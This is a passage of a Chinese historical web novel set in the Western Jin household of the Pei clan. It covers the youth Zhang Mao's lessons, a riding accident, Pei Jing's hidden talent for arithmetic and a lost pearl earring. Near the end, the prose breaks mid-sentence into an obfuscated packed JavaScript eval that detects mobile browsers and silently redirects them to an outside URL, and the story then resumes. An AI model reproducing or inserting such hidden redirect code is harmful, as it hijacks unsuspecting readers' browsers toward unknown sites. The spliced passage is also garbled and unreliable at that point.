他的耳边似乎又响起了昔日金戈铁马后,同袍就着烈酒,在残阳大漠里,撕心裂肺的高歌: “辞别爷娘兮肉身舍,不得回乡兮伊水遥。 无定河边兮枯骨泣,天涯何处兮魂灵招。 王于兴师兮何日竟,一日三捷兮贵人至。 君子封侯兮士卒饥,岂曰无衣兮同袍死。” 呵,这世道! 张茂翻了个身,朦胧夜色里,帐顶孤悬的忍冬香囊左右晃动。 内室并未点灯,只他的眼眸扑闪亮如星子。 一声微不可闻的叹息溢出帐外——他位卑言轻,自是管不了旁人。所能守者,惟慎独而已。 …… 第二日,卯时刚过,张茂就与裴憬在院门口汇合,一齐往坐落在书房后面的家学去了。 只是没想到,童子刚拉开书室的槅门,一身鹅黄襦裙的裴元娘正端坐其间! 张茂大惊,刚从身后听雨手里接来的文房四宝散了一地——钜鹿郡公府的家学,怎么内外不 分、男女不避啊! 裴府的家学原先是给裴家三个郎君启蒙用的,夫子请的是族里的一位庶支叔祖。 但自从裴二郎与裴三郎进国子学后,家学里就只有裴憬一个郎君了。 裴妍和裴妡原先年龄小,夫子又是族里的长辈,便跟着裴憬一起进学,后来裴妡进了宫,家学里就只剩长房的兄妹了。 如今,张茂来了,裴頠和王氏的意思是把裴妍召回内院来,单请出宫的女史教她诗书。 裴妍却不乐意。裴妡进宫了,她一个人待在内院读书跟坐牢有什么区别? 她听裴妡说过,宫里的女史是专教后妃公主女德、女红和礼仪的,这三样她没一样想学!再说,她跟阿兄千辛万苦才把张二郎请来家里,不就是想多个玩伴么!没道理张二郎来了,她却要被赶走了。哪有这样过河拆桥的事! 裴妍磨着小郭氏上郭老夫人处求情。小郭氏素来爱宠女儿,又自觉卑不动尊,凭什么要她的女儿为区区一个清客让路?要不说小郭氏和郭老夫人是一家人呢,在教育女郎一事上,婆媳(姑侄)俩出奇的一致。裴妍能虎成这样,与郭老夫人和小郭氏的纵容有很大的关系。 二房的裴妡有王夫人牢牢守着,她们插不上手。可是裴妍,这婆媳俩却是手把手教的。裴妍虽姓裴,却延续了太原郭家一贯的彪悍作风。就拿这次上家学的事来说,婆媳俩都觉得,九岁的裴妍跟着裴憬和张茂一起读书挺好的。郭家作为武勋世家对男女大防看得没那么重。早年郭老夫人没出阁的时候,还常带着部曲进林子打猎呢!也就是嫁到裴家后,才收敛了点。 裴家儒学传家,可自裴秀那一辈起,还信奉五斗米道。 郭老夫人书读的不多,但《道德经》她熟啊!就听她对裴頠道:“道之尊德之贵,夫莫之令而常自然。道之所以为尊,德之所以为贵,就在于不命令不干涉万物而任其自化自为也。你让阿妍一个人在内院读书?这跟囚禁有什么区别?是,张二郎是外男,圣人也说男女七岁不同席,可没说不能一块读圣贤书啊!世人读书不就是为知礼么?何况阿妍才九岁,还没到男女大防的年纪,过两年再招回内院来不迟!” 提起太原郭家,裴頠就头疼。这个舅家怎么说呢?论打仗,是一把好手;论为政,也算长袖善舞,独独在女郎的教化上,不大上道。 自己的母亲在郭家女儿里还算好的,除了悍妒,没其他毛病。 再看他大姨,皇后的母亲——郭槐,那叫一个绝,不让丈夫贾充纳妾也就罢了,还疑心生暗鬼,硬把自己两个亲儿子的乳母给逼死了,害得自己的两个儿子也跟着被吓死。贾家也就这样绝了嗣。 再看他这位大姨教养出来的两个女儿,贾后和贾午,一个暗中招男宠进宫侍奉,仗着天子痴傻□□宫廷,一个闺中时就与家中的清客韩寿偷香窃玉,闹得满城风雨。真真是,一家子乌烟瘴气! 可是老夫人和小郭氏都力挺裴妍,裴頠也不敢硬拦,说到底这是长房的事。他刚刚和长房的关系有所缓和,实在不想再起争端,只得略作妥协——上午的经书是家里的叔祖裴葑执教,裴妍可以来读上半日。但是下午,裴憬和张茂要学数算和骑射,裴妍则必须回内院随女史习女红和礼仪。 这样的结果算是各退一步,裴妍从善如流地应了。 家里唯一心忧得睡不着觉的也就是王夫人了。 从来女郎的闺誉都是一荣俱荣一损俱损,她家裴妡常年在宫里倒不用她操心,但是裴妍年幼孟浪,可千万别让外面人传出闲话才好。 她特意招来心腹管家,交代又交代,把内外院的小厮婢女过筛子似的又抡了两遍,凡是犯长舌惹是非的一律剃掉,把偌大的钜鹿郡公府收拾得密不透风。 于是,裴妍就在这诡异的静默里,寅时三刻不到就早早起来收拾好自己,率着风荷雨荷两个贴身婢子,穿过内院的抄手游廊,跨过仆妇日夜把手的二门,风风火火地去了外院家学。 6. 第6章 学堂拢共四张书案,一张在前,显然是留给夫子的。 另外三张并排放置在后。 裴妍虽然混不吝,也知道中间那张主位必是留给兄长裴憬的,自己就选择了靠左的那张。 裴憬没觉得异常,他平常都是和裴妍一起读书的。他自顾自地在中间那张书案前坐下,回头瞧见张茂还怔忪地立在门边,小童正忙着帮他整理散落在地的学具。 裴憬以为他初来乍到不自在,赶紧指着右侧的书案,唤道:“阿茂,来坐。” 张茂有些惴惴,但见裴憬一副习以为常的模样,暗忖各家章法不同,许是河东裴氏自有家规吧!毕竟,裴妍还是个女童。 三人来得都有些早,趁夫子没来,略交流了几句。 当然,主要是裴憬与裴妍兄妹说话。 裴妍问裴憬:“三哥昨天说要邀你们去公主嫂嫂那吃酒?” 裴憬道:“可不是,唉,好想公主府的绿蚁酥啊!” “什么时候去?不许落下我!” “自然!唔,三弟也没给个准话,大概和公主还没商量好呢!” 张茂端坐一旁静静地温书,没有参与这对兄妹毫无营养的寒暄。然而少年心性,到底被勾起了一丝好奇:裴府的膳食已属上品,公主府的得好成什么样,才能让从小锦衣玉食的裴大郎惦念至今? 这时,应门的小童高声道:“夫子来了!” 话音刚落,槅门被拉开,一个年近半百、身着灰麻直身广袖深衣、头戴笼纱冠,颊下留着浓密长髯的夫子缓步入内。 裴憬、裴妍并张茂立刻起身恭迎。夫子坐下后,三人又规规矩矩地躬身行拱手礼。待夫子受礼,三人方才坐下。 裴家家学的夫子是前中书侍郎裴葑。他是裴家远支,自小颖悟绝伦,材高知深,很受裴憬祖父裴秀的赏识。 然而他才气高,心气也高,为人耿直不迂。先帝晚年,欲封赏自己的岳父杨骏为临晋侯。裴葑于是上书说:“分封诸侯,是为了保卫王室,作王室的屏障。后妃,是为了料理祭祀,弘扬宫中教化。皇后之父始封便以临晋为侯名,临于晋室之上,这将是大乱的征兆!” 如此直言不讳,既不给先帝面子,又得罪了外戚杨家,没过多久,就被先帝找了个由头,罢官免职。杨家痛打落水狗,竟在他回乡后,罗织罪名,恶意构陷,害他差点被流放交趾。幸得裴秀极力保全,托人向杨家求情,这才免了官司。否则他现在可能还在蛮越吃瘴气呢。 裴葑被罢官后,他的妻、子又相继去世,成了真正的孤家寡人。裴秀就将他请入府里供奉,给孙辈做西席,既是对他的保护,也是惜才。 裴葑到了钜鹿郡公府后,虽不在朝野,但这些年著书立说,教出的学生裴崇、裴该又是京洛有名的大才子,与他来往的王戎之流皆是名士,这些年韬光养晦,不仅名声不减,反而更上了一层楼。 去年三杨被屠,裴頠有意请裴葑出山入仕,却被他婉言拒绝了。裴葑已年近半百,这些年他在钜鹿郡公府安心教书,闲时著书立说,很是自得。对仕途经济反而看淡了。 再说三杨虽倒了,可朝廷就干净了?他冷眼瞧着,天子痴傻,贾后当政,诸侯揽权,官场依然乌七八糟,让他出山淌这浑水,还不如继续窝在钜鹿郡公府里做他的西席呢。 裴葑是一个要么不做,要做必然达到极致的人。裴府的孙辈资质可谓良莠不齐,既有裴崇、裴该还有裴妡这样的天赋异禀者,又有裴憬这样天生愚顽的,还有裴妍这样既懵懂又通透的,可谓几种极端都有。 他自从受邀做了裴府的西席后,对裴府的每个孙辈都非常看重,在教学上也因材施教。 二房的几个孩子自小天资聪颖,裴葑对他们的要求就严苛些,自他们四岁拿《山海经》启蒙始,从儒家的“五经”、《尚书》《论语》《孟子》,到道家的“三玄”,再到各名家史书,包括并不局限于“春秋三传”《战国策》《太史公书》等,均有涉猎。第一代钜鹿郡公裴秀一直儒道兼修,裴葑受他影响,对裴府孙辈的教育也从这两派抓手。 对于痴愚的裴憬,裴葑也没有放松教导。裴憬愚笨,光《山海经》习字就学了四年,总算把日常用字囫囵记全了。之后,裴葑就拿《仪礼》来规范他的日常言行。在裴葑看来,裴憬就算内里痴傻,但若他待人接物礼仪周全,日常应答不出大错,只要裴家不败,他总能求得一世安稳。 事实证明,这样的教导很有效果。就拿上次裴憬拜见张司空来说,日常应对自然得体,一改张华对他的痴愚印象。 裴妍和裴妡姊妹俩入学后,裴葑对她们也寄予了厚望。他一向认为女子明智乃家学之始,一个德才兼备的妇人甚至可以影响家族上下三代的兴衰。尤其钜鹿郡公府的这两位女郎,自小颜色出众,若加以引导,则河东裴氏将来出母仪天下的“三太”(太姜、太妊、太姒,分别是周文王的祖母、母亲、夫人,历史上有名的三位贤后)也未可知。 因此,在对姊妹俩的教导上,裴葑甚至比对裴憬还要用心。平时课程以史学为主。在他看来,所谓诗词交际不过附庸风雅,女子一不用入仕二不用养望,比起这些虚名,还是知史明理最为要紧。 前一阵,裴頠想送女入东宫,族里最支持他的就数裴葑。裴葑一向看不上杨家和贾家。至少,他教出的女弟子,绝不会是杨后那种目光短浅的蠢妇,更不会是如今那位貌丑性妒,浪荡不堪的淫后!只是后来这事没成,反倒让琅琊王氏摘了桃子,老人家还感叹惋惜了很久。 今日,裴葑又迎来了一位新弟子——张茂。 钜鹿郡公府的几个孩子是他看着长大的,人品性情学问他都有底。然而这位张郎君如何,他却是没数的。 因此张茂坐下后,裴葑一语不发,先对着张茂眯眼打量了一阵。 张茂面上做恭敬状,却暗自挺直腰背,让夫子看个够。 所谓相由心生,时人品评人才,先从貌始,裴葑的做法,并不算失礼。 良久,裴葑抹着颊下美髯,点头道:“光风怀抱兮桃花色,江教风流兮气如云。郎君年龄虽幼,却有乳虎啸谷之横阔气度,是个佳儿。君当勉之!” 这样的第一印象不可谓不高,张茂立即起身作揖,恭而受之。 裴葑又问他:“郎君几岁进学?师从何人?喜读哪些君子文章?” 张茂不卑不亢,一一作答: “学生五岁受庠序之教,随邑中书院山长、诸师进学。十岁随父入征西军司,受教于家严,亦曾承恩于扶风武王府进学。去岁随父受诏回京,耕读于家,蹉跎至今。” 裴葑左眉略挑,撸胡须的手顿了顿,就是说,这小子只在乡里读了几年书,然后就去了军中,在自己老子还有扶风王手底下半工半读过几年,一直到去年回京。这水平…… 张茂接着道:“家父好儒术,小子曾随阿父通读五经,偏好史家兵家,喜读《战国策》《孙子兵法》。” 哦,五经读过了,裴葑点头,随口抽取几句经义考较张茂,张茂都能对答如流。 裴葑放下心来,这孩子比起裴崇和裴该来差了一截,但比起同龄的少年郎君也算勤奋精进了。 他撸了撸美髯,对张茂道:“你既喜好史家兵法,史家老夫建议你自三传始。兵家老夫没有涉猎,不敢妄言,二郎自专就是。”又给他布置了《左传》前三篇的笔记作业,命他晚上补一篇释义来。 张茂其实已经通读过春秋三传,但是有名家教导和自己研读是两码事,赶紧恭身应是。 接着裴葑又考较了裴憬的《仪礼》、裴妍的《太史公书》。 裴憬和裴妍对老先生非常推崇,作业回得无比认真。 尤其裴妍,解读起《田单列传》来,可谓口齿伶俐。 裴妍这个年纪,自然不可能有多高深的见解,更多地是对文章的复述加上自己的感想。 张茂发现,无论裴妍说得有多浅薄好笑,裴葑都是先点头赞许,再深入浅出地引导她往更深层次去解读。即便痴顽若裴憬,亦频频点头,显然是听懂了。 听老先生讲课,大家只觉时间很快,可谓如沐春风。 张茂只觉悬着的心彻底放了下来。 来之前,张茂特地从兄长的好友裴邈那里打听过钜鹿郡公府家学的这位西席。知道他是因得罪了“三杨”之一的杨骏,才被罢官免职,甚至还受过杨家的迫害。 张茂父亲的头上毕竟有着杨氏门生的帽子,原以为他多少会为难自己。没想到老先生对他的出身丝毫不以为意,待他一如平常后生。这份气度,足以令人敬佩。 河东裴氏,赫赫百年。恭孝德义,成家善根。 张茂似乎嗅到了这个百年大族隐于骨血里的风华和百年不倒的奥义。 裴葑到底年龄大了,讲了一个时辰后,就命他们小憩片刻,自己去后堂更衣。 裴妍伸了一个大大的懒腰,问一旁同样靠着缇几捶腿的裴憬:“阿母说,你们下午还要学数算和骑御?” 提起这个,裴憬来了兴趣,嚷嚷道:“是啊!就数这有意思。” 裴妍不高兴了:“凭什么你们学得这么好玩,我只能跟着老尚宫缝缝补补?” 这……课是叔父定下的,裴憬不敢置喙,只好安慰她:“阿妍勿忧,待阿兄弓马娴熟后,带你去郊外射獐子去。” “哼!阿兄别得意。那数算据说极难,阿兄识字都要四年,数算还不知要学多久哩!” 这话极不中听,一旁的张茂眉头微皱。 没想裴憬哈哈一笑,道:“阿妹才要小心,据说宫里来的老尚宫要求极严,还会拿戒尺打手心哩!就阿妹那绣工,不知要挨多少下板子呢!” 得,这话半斤八两,张茂高挑的眉毛放了下来,看来这对兄妹平日里就是这么说话的。 “阿茂,方才听你说,你十岁就入了行伍?”裴憬见一旁的张茂一直不说话,忍不住与他搭讪。 张茂点头:“茂曾在征西军司服过役。” 裴憬和裴妍对视一眼,突然围了过来。 张茂浑身一抖,直觉不好。他似乎从这对兄妹的眼里看到了无数亮闪闪的星星。 “阿茂,行伍里面是怎样的?也每天读书习字么?”裴憬问。 “阿茂哥,你见过胡人吗?之前我去贾表哥家看到过白皮肤蓝眼睛的胡姬,那里的人都长那样吗?”裴妍问。 “阿茂,那些胡人打仗厉害吗?还是我们更厉害?”裴憬接着问。 “阿茂哥上过战场?那岂不是杀过人?会害怕吗?”裴妍突然想起这件可怕的事。 兄妹俩你一言我一语地,张茂只觉耳畔嗡嗡作响,却不知从何答起。 提起军营和战场,他当然是熟悉的,可他不认为这些事情适合跟这对养尊处优的兄妹讲。 恰好裴葑自后堂转了出来,张茂赶紧咳嗽一声,小声道:“夫子来了,茂得空再与二位细说。” …… 上午的经义结束后,裴妍有些不高兴地看着风荷雨荷收拾学具。 后院小郭氏派来大丫鬟剑兰催她回去。 裴憬虽然同情妹妹,但他也没办法,只好一再承诺晚上去找妹妹叙话,好歹把人送走了。 张茂暗自松了一口气,小女郎真不好哄。 下半晌,裴妍在自己的小院里休憩不过片刻,就迎来一位姓秦的女尚宫,说是宫里退役、被河东裴氏请来供养在族里、专教族中女郎绣法技艺的。 裴妍无比羡慕起裴妡来,至少她在宫里有公主和清风表姊陪着,就算做这缝缝补补的事也是三个人一 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就见裴憬正白着脸躺在一方长榻上,右腿胫衣撩到腿弯处,露出一大片被擦伤的肌肤。他细皮嫩肉,更显得腿上的擦伤红肿可怕。 张茂正半跪在地给他上药酒。 看到小郭氏,他微愣片刻,放下药酒,一瘸一拐地起身朝郭夫人一揖到底:“茂看护不利,致大郎受伤。请夫人责罚。” 话音未落,裴憬一下跳将起来,不想牵动伤腿,“嘶”地一声又躺回去。 小郭氏赶紧扶住他,责备道:“这是作甚,快躺好!” 裴憬道:“阿母,不怪阿茂,是我没听教习的话,硬要逞强跑马,这才摔了下来。” 这时,方才跪在门外、负责教习骑术的部曲裴符也赶进来陈情:“大郎落马,若非张郎君跳马接住,后果不堪设想。符忝为教习,却教导看护不利,求夫人责罚!” 原来,这是裴憬第一次骑马,裴符建议他先坐在马上,由马奴牵着到处走走,先适应马上的节奏再说。张茂则骑马跟在他的身侧看护着。 然而,裴憬骑着骑着,觉得骑马好像没那么难,何况被人牵着走也太无趣了。于是一鞭子挥退马奴,想自己慢跑两圈。然而他控制不住策马的力度,一鞭子下去,马就蹶蹄狂奔起来,裴憬哪里坐得稳,一下子就自马上栽了下来。 这一切不过须臾,候在一旁的部曲马奴压根反应不过来。 幸好他的身侧有张茂,就见张茂飞身从马上落下,将快要落地的裴憬一把抱住,自己以身做垫,这才让裴憬平安落了地,即便这样,两个人也抱着在地上滚了三四圈才停下来。裴憬的腿伤就是这么蹭出来的。 小郭氏听罢仍觉得后怕,她对张茂的舍身救主很是感激,扶起他道:“幸得有阿茂,不然阿憬岂非凶多吉少?”又问身后乳媪:“顾和缓(和缓是魏晋对医生的尊称)怎的还不来?” 这时,顾郎中匆匆赶到。 裴府临街就是有名的医馆“汇仁堂”,里面坐诊的顾郎中是裴家用惯了的。 他先给裴憬从头到脚检查了一番,回郭夫人道:“亭侯无大碍,只是些许皮肉伤,养上数日即可。” 小郭氏彻底放下心来,又让他给张茂看诊。 张茂脸色微肃,正歪身胡坐在一旁的矮塌上。 顾郎中亦给他从头检查到脚。至腿上时,顾郎中突然眼神一凛,抬头看了他一眼。张茂脸上却仍是没有表情。 顾郎中赶紧半跪在地,轻手轻脚将他的腿掰直,又吩咐一旁童子拿夹板,替他正骨。 裴妍看到张茂额上隐有冷汗,似是极为痛苦,奇道:“阿茂哥,你冷吗?” 顾郎中手上动作不停,敬佩道:“小郎胫骨内错,常人定哀嚎不止,小郎却神情自若,纵当年关公刮骨疗毒不过疼痛若此,老朽佩服!” 众人大惊,这才发现张茂的脸比裴憬的更白。 裴憬只是蹭破点皮,就嚎成这样,张茂腿都折了,却跟没事人似的,方才又是扶裴憬进屋,又是给他抹药酒,又是给郭夫人赔罪的,全然没提自己受伤的事儿! 一时间,众人都挺敬佩这个十四岁的少年。 尤其裴憬,一下子不敢吭声了,自己这么点小伤跟张茂的比起来差远了,人家一声都没吭,自己却嚎成这样,丢人不! 小郭氏心疼道:“这孩子,受伤也不说句话,幸得顾和缓看出来,不然我等怎么给你阿耶交代。” 张茂却扯开嘴角,浅笑道:“不碍的,茂在军中……些许小伤……常有的……” 裴妍就站在他身侧,方才不觉得,现下却觉得他浑身都在打摆子,赶紧拿手扶住他,却发现他浑身滚烫。她忍不住叫顾和缓。 顾郎中摸了摸他的脑门,道:“不好,这是起热了。”转身对小郭氏道:“请夫人备一桶热汤,屏退女眷,老朽要为张郎君祛热。”这是要解衣散热了。跌伤腿不可怕,但是起热会死人的! 小郭氏赶紧照做,又拉着裴妍、裴憬,并一干闲杂人等退出内室,聚在廊庑下等消息。 这时王夫人也到了。王夫人的母亲(司空王戎的妻子)近日身体不适,她今日原本回娘家侍疾,却惊闻家中大郎君出了事,幸而她娘家离裴家不远,闻讯匆匆赶了回来。一路上,听说大郎君无碍,只是张小郎腿折了,这才略放下心来。 见到妯娌小郭氏和裴憬后,王夫人先对着裴憬嘘寒问暖一番,又和小郭氏问了张茂的情况,见并无大事,便借口给老夫人复命,留下大丫鬟吟秋看顾,自己先行回去了。 不多久,顾郎中自内室走出,对郭夫人复命道:“张郎君已饮下汤药,热症有所缓解,腿伤也已固定住,只是还需人看护,每半个时辰擦洗一次。待烧退尽,再将养半月,便无大碍。” 7. 第7章 张茂自从马场跌伤腿后,就一直在他的慎独堂里将养。 裴府里上至郭老夫人下至裴憬裴妍都感念他的救命之恩,药石衣物,如流水般搬进他的屋子,对他的供奉也越发精细。 张轨和张寔旬日里也来看过他。不过张轨行伍出身,对这种跌打损伤并未放在心上,跟小儿子聊了两句,就去外书房拜会裴頠去了。 倒是张寔,看着弟弟裹着一只腿挪动不得,心疼不已。 张茂却跟没事人似的,问他哥起家官的事,待听得安定郡中正已将张寔定为二品,即将禀中枢授实职时,大喜,道:“如此,我这腿伤得也算值了。”惹得张寔又是心疼又是愧疚。 张茂虽腿伤在身,但是裴葑并没有免去他的作业,依然每天让裴憬把他的心得带回去批阅,再布置下新的任务来。 教数算的师父是府里的一名清客,名唤祖承,每日亦有作业布置下来。 也就是说张茂每天还是得读书做题,只骑射暂免而已。 裴憬每天或晌午或晚上都要来趟慎独堂,把师父们的作业传达给他,顺便把他前一天的作业带回去。搞得张茂很不好意思,明明他才是那个伴读来着,却让主家做了这上传下达的事。 这日午后,裴妍拎着“瑞竹轩”的糕点跟着裴憬一起来看他。 张茂倒没有很惊讶,自从他的腿跌伤后,裴妍隔三差五地也会跟着她哥哥一起来。或给他带些糕点,或说些外面的趣事。 起先张茂还会局促,时日久了,与裴家兄妹熟悉起来,也渐渐习惯了他们这种自来熟的待人接物的方式。 裴家兄妹进屋里的时候,张茂正胡坐榻上,一手拿算筹,一手拿竹简,口里念叨着,手上做着记录。 裴妍好奇地凑过去,看了看竹简,上面是各种杂乱的符号,问他:“阿茂哥在做数算?” 张茂点头:“昨日祖师父出的那道鸡兔同笼有些难做。”又问裴憬:“大兄都做好了吗?” 说来奇怪,自数算开课以来,裴憬从未问过他作业。 张茂只当裴憬不好意思开口,他想今天正好趁机给他讲讲。自己本来就是人家的伴读,哪有光领供奉却不做事的道理。 裴憬却睁大眼睛,问道:“昨日祖师父出的题?”他摸摸后脑勺道:“不难啊!我还以为你早就做好了呢!” 这回轮到张茂睁大眼睛了:“大兄你……做好了?”由不得他不怀疑。张茂以前在军中做过度支小校,保障过一个营战时的来往开销。他于数算一道还算是精通的。即便这样,这道鸡兔同笼题尚且算了很久。 他有些不可置信地问:“大兄得数几何?” 裴憬憨笑道:“我算的鸡十一,兔八。阿茂得数多少?” 张茂持算筹的手抖了抖,还真是鸡十一,兔八。 张茂又问裴憬怎么算出来的。毕竟他身边小厮仆妇不少,有机灵的帮忙也不稀奇。 可是裴憬连算筹都不用,想了想,第一步怎样,第二步如何,竟将张茂扒拉算筹才得出的结果一步步都说了出来。 张茂简直不可置信,又拿前几天祖师父出的作业问了裴憬。 裴憬同样连过程带结果都讲了出来,这绝不是找别人帮忙能做到的! 张茂犹不死心,自己又出了几道类似的考题,裴憬脑中略过片刻,答案就出来了,中间都不带打嗝的。 裴妍看着张茂一脸惊诧的样子,对数算有些好奇,问:“这门课到底好不好学?我也要试试!” 张茂内心有些混乱,他现在已经不确信自己与裴憬之间,究竟谁贤谁愚。他急需有第三方来验证一下自己的猜测。 于是,他将记着鸡兔同笼作业的竹简递给裴妍,道:“元娘试试?” 结果,裴元娘抓耳挠腮了一炷香的时间,手中的算筹被拔楞得七零八落,却仍是越算越乱。她用事实证明,数算真难!她,不,会! 原本裴妍见自己的傻哥哥都能把数算说的这么顺溜,还以为很简单。现在她的表情和张茂一样了。 她突然发现,她家傻哥哥,好像,不傻啊!甚至比张茂还聪明? 张茂神情复杂地看向裴憬。若非这些日子朝夕相对,让他确信裴憬真是个心无城府的痴儿。他简直怀疑裴憬这些年的痴傻是故意装出来明哲保身的! 裴憬却没觉得异常,憨笑道:“还是数算有意思,比经义好懂多了!” 裴妍没有多想,只是单纯的替自家哥哥高兴,拍手道:“原来阿兄还有这项本领!以后我有算不清爽的事就能来找阿兄啦!” 裴憬也很骄傲,笑道:“这还用说!” 张茂看着裴憬的眼神更复杂了,瞳中隐有浮光略动——裴憬这是有奇才而不自知啊! 然而这份天才,能不能为外人道,张茂一时也说不准。 毕竟,如今裴府的当家人是二房的裴頠。兄弟尚且阋墙,何况叔侄乎? 张茂犹疑了片刻,决定隐而不发。 于是,他告诫裴憬:“阿兄,你精于数算的事万不可让别人知道。如果祖师父问起来,就说是我教你的。” “啊?……”裴憬刚刚涌起的骄傲被打了下去,这是为什么?他也好想有门功课被大家赞许的呀。 张茂又转向裴妍,同样请她保密。 裴妍不解,问他:“阿茂哥,这是为何?阿兄会做数算,不是好事么?” 疏不间亲,裴頠是他们的亲叔父,张茂无法跟这对兄妹讲自己的顾虑。只好找了个不大高明的借口:“现在阿憬学的数算都是最简单的,即使会做也不稀奇。不若等以后祖师父教了难的,阿憬再做给别人看,岂非惊喜?” 好在兄妹俩都不是心思深的,听了张茂的话,竟觉得有几分道理,也就应了。 张茂舒了口气,他是裴憬的伴读,但父兄倚仗的却是裴頠。张茂暗自琢磨了一下,裴憬精于数算这件事还是先不告诉父兄吧。 此时的张茂还没有意识到,不知何时起,裴家这对傻兄妹,成了他挥之不去的责任,并一直伴随他以后的人生。 晌午过后,裴憬和裴妍各自有课,兄妹俩坐了会就告辞了。 临走前,裴妍把放在外面书案上的点心拿到了张茂的床边,叮嘱他一定要趁新鲜吃。 时人吃饭只有两顿,早晌到晚晌的时间有点长,裴憬和裴妍院里都有小厨房做午点小食,实在馋了他们还会派人去外面采买。 张茂的身份说到底只是裴府清客,虽说院里一应供奉比照裴憬,但小厨房却是没有的。因此裴憬每日午晌都会派人给他送些小食来。 今天裴妍来看他,还特地带了一早派人去外面买的点心。 张茂打开来看了,四个不同花色的果子乖巧地躺在竹屉上,竟比裴憬小院里做出来的还雅致几分。 他拈起一枚荷花样的粉色果子浅尝了一口,甘甜瞬间自舌尖弥漫开来,是江米做的,馅心里混了捣烂的赤豆,唔,味道不错! 饕餮一番后,张茂心满意足地躺在长榻上小寐。 外面的帘子被轻轻撩起,拾叔进来替他收拾屋子。 整理到书案时,他“咦”了一声,对张茂道:“郎君,这里怎么有一个耳珰?” 张茂本是斜躺在榻上的,闻言直起身子。拾叔将捡到的耳珰呈与他。 张茂拈起来端详了一番,是一枚黄豆大的南珠,白里透粉,光洁莹亮,一看就是稀罕物。 张茂心里有数,他这里没有女眷,与自己往来较多、又能带得起这稀罕物的也就是裴妍了。 他想起方才裴妍做不出题目时,抓耳挠腮的滑稽样子,忍俊不禁起来。 拾叔小心翼翼道:“郎君?” 张茂敛容,吩咐拾叔把他那个放贴身玉佩的黑漆描金嵌猫儿眼的方胜盒拿来。他将里面的玉佩取出来,另找盒子装了,又把这枚耳珰放了进去,预备明日裴憬来时请他转交给裴妍。 没成想,到了晚间,他正独自吃哺食的时候,裴妍却风风火火地到他这里来找东西了。 张茂有些讶异,一来,天晚了,哪有女儿家往外院跑的;二来,不过是个耳珰而已,即便贵重,钜鹿郡公府的女郎什么好玩意儿没见过,会放在眼里? “是个南珠耳珰,约莫这么大。”裴妍拿右手掐着白玉般娇嫩的小拇指尖,问张茂,“阿茂哥见到没?” 张茂自然没有为难她。 那耳珰早先被他收进方胜盒里,就搁在他的书案上。 他把盒子递给裴妍道:“可是这个?” 裴妍打开盖子,长长地呼出一口气,拿出里面的耳珰摇了摇,轻笑道:“唯唯,就是它!” 张茂也笑:“原想明日托阿兄捎给你的,没想你这般性急。”又问:“怎么,这耳珰很难得么?” 裴妍点头,道:“其他物事也就罢了,这副耳珰是阿毗哥托琅琊王特意从南海寻给我的,万不能丢了!” 他来钜鹿郡公府有一阵了,自是听闻府上与东海王妃及世子来往频繁,连带着与同样依附东海王的琅琊王关系也不错。 张茂联想到早先裴妍还曾千方百计托挚虞师叔替琅琊王卜算前程的事,心下一堵:原来是东海王世子托琅琊王捎来的。心里暗道,又是哥哥,他算你哪门子哥哥,你哪里来的那么多哥哥! 裴妍这时却被手里的方胜盒子所吸引,小女郎嘛,总是喜欢漂亮精奇的物事。这个方胜盒不比她手里的南珠便宜,是西域特有的,乌木做底,黑金描漆,腰围嵌了一圈金色猫儿眼,是张茂来洛阳前,他母亲马氏赠给他的,一直被他拿来放自己贴身的玉佩。 有时候他想凉州老家了,也会把这个盒子拿出来摸一摸。在他心里,洛阳再繁华,也比不过凉州的一砖一瓦。那里有他的阿母,祖父,祖母,阿公,阿婆还有舅父。不像洛阳,只有他们爷三个,院子那么小那么冷清。阿耶早先还被赋闲了,阿兄也郁郁不得志,一家三个大男人只能窝囊地拘在家里,跟被圈禁似的。纵有再大的志向,在这方寸之间,也无法施展…… 裴妍没注意到张茂的愣怔,她只一眼就喜欢上了这个盒子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001201|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些舍不得还回去,干脆把耳珰又放到里面,举着盒子对张茂摇了摇,狡黠地笑道:“那我就带走啦!”不知道她说的是耳珰呢还是那个盒子。 张茂却淡然道:“喜欢就拿去吧!”他说的是那个盒子。 裴妍兴高采烈地捧着方胜盒回去了。 快到二门时,却偶遇行色匆匆的裴该。他大概是刚从二房出来,不意与裴妍撞个正着。 “元娘这么晚了还出去?”他皱眉问。 裴妍自然不会说是去找张茂的,胡诌道:“经义课下学时,把书落学堂了,明天师父要考较功课,今晚得温书,只好连夜赶去拿了。” 裴该点头,没说什么,径直往外面走。 裴妍追问他:“三哥,我们什么时候去公主嫂嫂府上?” 裴该显然有心事,敷衍道:“我现在正要去公主府,一会我问问她。”言罢就匆匆走了。 裴妍有些奇怪,三哥一向从容大方,什么事让他这般惶惶? 待她回到自己的小院时,却看到裴妡正静静地坐在内堂里等她。她头上寒霜未散,大概也是刚到。 裴妍觉得今天二房的人都怪怪的。一边任丫鬟解大髦,一边问她:“今天不是旬日,公主舍得放你出来?” 裴妡却朝丫鬟们摆摆手。待仆婢退尽,室内只余姊妹俩时,裴妡上前一把抱住裴妍,头埋在她的胸前,闷声道:“阿姊,我不想进宫了。宫里,太骇人了!” 裴妍一头雾水,待裴妡哽咽着说起白天的事,裴妍才晓得,原来今天宫里出了件不小的事——鲁国公贾谧把成都王的长史当众打死了! 原来贾谧倚仗皇后一向作威作福,不把太子及宗室王亲放在眼里。他还欺软怕硬,老一辈的如赵王、梁王,他不敢得罪。但是年轻一辈如成都王、琅琊王,他却可劲的欺负! 这天成都王受太子邀约,赴东宫宴饮,与贾谧的车撵于阊阖门外狭路相逢。 贾谧跋扈惯了,眼见着成都王来得早,排在自己前面,竟命令宫中兵拦下成都王车马,赶至一边,自己先行。 掌管阊阖门的小校隶属卫尉卿石崇。石崇是“金谷园二十四友”之一,与贾谧关系甚笃,自然不敢违抗他。 堂堂郡王居然要被一个外戚赶下马车,如仆从般,等对方先过。这口气如何忍得? 十三岁的成都王司马颖也是年少气盛,直接派了贴身黄门下车找小校理论。 